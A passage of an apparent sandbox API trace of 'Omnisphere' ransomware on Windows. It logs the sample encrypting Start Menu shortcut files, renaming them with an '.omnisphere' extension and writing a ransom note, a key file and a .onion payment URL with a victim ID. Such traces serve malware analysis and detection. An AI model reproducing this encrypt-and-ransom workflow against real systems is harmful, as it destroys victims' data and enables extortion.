dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptDestroyKey (hKey=0x16397a8) returned 1 [0131.497] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0131.497] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x452, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0131.497] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0131.498] GetProcessHeap () returned 0x1600000 [0131.498] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2de) returned 0x1725038 [0131.498] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk.omnisphere")) returned 1 [0131.500] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.omnisphere.id" [0131.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0131.502] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0131.503] CloseHandle (hObject=0x3b4) returned 1 [0131.504] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.504] CloseHandle (hObject=0x388) returned 1 [0131.504] SetEndOfFile (hFile=0x3c0) returned 1 [0131.506] FlushFileBuffers (hFile=0x3c0) returned 1 [0131.541] CloseHandle (hObject=0x3c0) returned 1 [0131.541] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned 1 [0131.541] GetProcessHeap () returned 0x1600000 [0131.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725320 [0131.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0131.541] GetProcessHeap () returned 0x1600000 [0131.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdaa0 [0131.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdaa0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0131.541] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0131.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0131.541] GetProcessHeap () returned 0x1600000 [0131.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710400 [0131.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710400, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0131.541] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0131.541] GetProcessHeap () returned 0x1600000 [0131.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x16b2608 [0131.541] PathCombineW (in: pszDest=0x16b2608, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" [0131.541] GetProcessHeap () returned 0x1600000 [0131.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171d3e0 [0131.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.542] WriteFile (in: hFile=0x3c0, lpBuffer=0x171d3e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171d3e0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0131.542] CloseHandle (hObject=0x3c0) returned 1 [0131.543] GetProcessHeap () returned 0x1600000 [0131.543] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725320 | out: hHeap=0x1600000) returned 1 [0131.543] GetProcessHeap () returned 0x1600000 [0131.543] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172c088 [0131.543] PathCombineW (in: pszDest=0x172c088, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" [0131.543] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.543] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0131.544] CloseHandle (hObject=0x3c0) returned 1 [0131.545] GetProcessHeap () returned 0x1600000 [0131.545] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c088 | out: hHeap=0x1600000) returned 1 [0131.545] GetProcessHeap () returned 0x1600000 [0131.545] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0131.545] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Narrator.lnk", cAlternateFileName="")) returned 1 [0131.545] GetProcessHeap () returned 0x1600000 [0131.545] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1625a28 [0131.545] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="Narrator.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" [0131.545] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0131.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.546] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1108) returned 1 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cc9 [0131.546] GetTickCount () returned 0x1160cd8 [0131.546] GetTickCount () returned 0x1160cd8 [0131.546] GetTickCount () returned 0x1160cd8 [0131.546] GetTickCount () returned 0x1160cd8 [0131.546] GetTickCount () returned 0x1160cd8 [0131.546] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] GetTickCount () returned 0x1160cd8 [0131.547] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16683d8) returned 1 [0131.548] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639528) returned 1 [0131.548] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0131.548] CryptDestroyKey (hKey=0x1639528) returned 1 [0131.548] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0131.548] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x454, lpName=0x0) returned 0x388 [0131.548] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x454) returned 0x1480000 [0131.549] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16682c8) returned 1 [0131.549] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0131.549] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.550] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.551] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, 